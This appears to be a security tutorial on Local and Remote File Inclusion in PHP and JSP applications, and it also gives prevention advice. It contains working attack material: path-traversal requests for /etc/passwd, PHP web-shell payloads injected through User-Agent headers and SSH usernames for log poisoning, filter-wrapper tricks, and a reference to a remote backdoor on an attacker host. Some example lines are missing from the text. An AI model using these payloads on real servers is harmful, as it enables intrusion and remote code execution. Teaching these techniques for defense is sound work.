Local File Inclusion (LFI) and Remote File Inclusion (RFI) are vulnerabilities that are often found in poorly-written web applications. These vulnerabilities occur when a web application allows the user to submit input into files or upload files to the server.
Let’s Dive Into this Further!
What is a Local File Inclusion (LFI) Vulnerability?
Local File Inclusion (LFI) allows an attacker to include files on a server through the web browser. It allows an attacker to read and sometimes execute files on the victim machine. This vulnerability exists if a web application includes a file without properly sanitizing the input allowing and attacker to manipulate the input and inject path traversal characters and include other files from the web server. If the attacker is able to place code on the web server through other means, then they may be able to execute arbitrary commands.
Identifying LFI Vulnerabilities within Web Applications
LFI vulnerabilities are easy to identify and exploit. Any script that includes a file from a web server is a good candidate for further LFI testing, for example:
This can be Exploited by manipulating the file location parameter, such as:
The ‘../’ characters used in the example above represent a directory traversal. The number of ‘../’ sequences depends on the configuration and location of the target web server on the victim machine. We can see that the contents of /etc/passwd are displayed on the screen. A lot of useful information about the host can be obtained this way.
Let’s See How Local File Inclusion is possible in multiple ways through following scenarios :
1. Null Byte Technique:
Null byte injection bypasses application filtering within web applications by adding URL encoded “Null bytes” such as %00. Typically, this bypasses basic web application blacklist filters by adding additional null characters that are then allowed or not processed by the backend web application.
Example of null byte injection for LFI:
2. Log Poisoning:
Typically a normal apache server creates 2 files- access_log and error_log, which we can poison with our malicious code to get remote code execution on the server.
These logs are generally stored in following :
RCE can be achieved by spoofing User-Agent field. Insert Following Code into User-Agent field using Burp Suite or curl request.
- <?php echo system($_GET[‘y’])?>
Now Access the log through Below URL :
- http:// example.com/vuln.php?page=/var/log/apache/logs/access_log%00&y=<cmd>
3. PHP Wrappers:
PHP has a number of wrappers that can often be abused to bypass various input filters. For Example php://filter allows a pen tester to include local files and base64 encodes the output. Therefore, any base64 output will need to be decoded to reveal the contents.
- http:// example.com/vuln.php?file=php://filter/convert.base64-encode/resource=xyz.php
This will base64 encode xyz.php source code and display it.
4. PHP Sessions:
PHP stores it’s user’s session information in files located at /var/lib/phpX/sess_<PHPSESSID> (where X=Version of PHP). If there is any functionality of the application like a login that adds data into the current user’s session file (for e.g. a username for reflecting it later and maintaining session), then this can be abused to save the RCE payload into the current user’s session file.
- POST login.php HTTP/1.1
- Host: victim.com
- GET vuln.php?file=../../../var/log/nginx/error_log HTTP/1.1
5. LFI via /proc/self/environ :
It is Possible to achieve RCE by Simply Spoofing User-Agent field to php code by including file /proc/self/environ.
- GET vuln.php?file=../../../proc/self/environ HTTP/1.1
- User-Agent: <?php phpinfo();?>
We can fetch the HTTP configuration file by trying to include /proc/self/cmdline, because mostly the config file is set by a command-line argument, so the log-file locations can be found there.
There is another way to resolve the log-files by using file description of the log file (the running stream /proc/self/fd/XXX).
So the easiest way is to iterate through these files.
- http:// example.com/vuln.php?page=/proc/self/fd/0%00
- http:// example.com/vuln.php?page=/proc/self/fd/1%00
- http:// example.com/vuln.php?page=/proc/self/fd/2%00
- And so on
You will find access and error logs in any of these files.
6. SSH Logs:
Another way is to inject in SSH logs, all login attempts whether valid or invalid are logged into /var/log/auth.log. So if we try ssh with our php code as user then our payload will be logged as shown below:
- ssh <? php system($_GET[‘cmd’]);?>@VICTIM-IP
and we can include /var/log/auth.log to obtain RCE.
7. Path Truncation:
By default PHP handles /etc/passwd like /etc/passwd/ or /etc/passwd/// or /./etc/passwd, trailing slashes are always stripped of before opening the file.
On the most PHP installations a filename longer than 4096 bytes will be cut off so any excess characters will always be thrown away.
This allows us to bypass a hard-coded file extension by pushing the parameter with trailing slashes over and above it’s size:
- GET vuln.php?page=../../../etc/passwd/././././././././/./././././././[ and so on ] HTTP/1.1
If possible, do not permit file paths to be appended directly. Make them hard-coded or selectable from a limited hard-coded path list via an index variable.
If you definitely need dynamic path concatenation, ensure you only accept required characters such as “a-Z0-9” and do not allow “..” or “/” or “%00” (null byte) or any other similar unexpected characters.
It’s important to limit the API to allow inclusion only from a directory and directories below it. This ensures that any potential attack cannot perform a directory traversal attack.
So now, Let’s Proceed to RFI!
What is a Remote File Inclusion (LFI) Vulnerability?
Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts. RFI vulnerabilities are easier to exploit but less common. Instead of accessing a file on the local machine, the attacker is able to execute code hosted on their own machine.
In order for an RFI to be successful, two functions in PHP’s configuration file need to be set allow_url_fopen and allow_url_include both need to be ‘On’. From the PHP documentation, we can see what these configurations do.
allow_url_fopen – “This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers.”
allow_url_include – “This option allows the use of URL-aware fopen wrappers with the following functions: include, include_once, require, require_once”
Remote File Inclusion Examples:
- A JSP page contains this line of code:
- <jsp:include page=”<%=(String)request.getParameter(“ParamName”)>”>
can be manipulated with the following request:
Processing the request reveals the content of the password file to the perpetrator.
2. A web application has an import statement that requests content from a URL address, as shown here:
- <c:import url=”<=request.getParameter(“conf”)%>”>
If unsanitized, the same statment can be used for malware injection.
3. RFI attacks are mostly launched by manipulating the request parameters to refer to a remote malicious file. For example, consider the below given code:
Here, the very first line extracts the file parameter value from the HTTP request, while the second line employs that value to dynamically set the filename. This code can be exploited for unauthorized file uploads when suitable sanitation of the file parameter value is not available.
For example, this URL string
an external reference to a backdoor file stored in a remote location (http://www.hacker.com/backdoor_shell.php.)
After getting uploaded to the application, this backdoor can be employed for hijacking the basic server or gaining access to the application database.
- $incfile = $_REQUEST[“file”]; include($incfile.”.php”);
RFI Prevention And Mitigation :
To prevent RFI vulnerability exploitation, ensure that you disable the remote inclusion feature in your programming languages’ configuration, especially if you do not need it. In PHP, you can set allow_url_include to ‘0’. You should also verify user input before passing it to an Include function. The most preferred way to do this is with a whitelist of permitted files.
You can minimize the risk of RFI attacks via proper input validation and sanitization. However, keep in mind that it is important to avoid the misconception that all user inputs can be entirely sanitized. Consequently, sanitization should only be considered as a supplement to a genuine security solution. It is always better to sanitize user-supplied/controlled inputs to the best of your capability. These inputs include:
· URL parameters
· Cookie values
· GET/POST parameters
· HTTP header values
During the sanitization process, input fields will have to be checked against a whitelist instead of a blacklist. Blacklist validation is generally considered to be a weak solution because attackers can choose to supply input in a different format, such as hexadecimal or encoded formats. It is also good to apply output validation mechanisms on the server end. Client-side validation functions, holding the benefit of reducing processing overhead, are also considered to be vulnerable to attacks by proxy tools.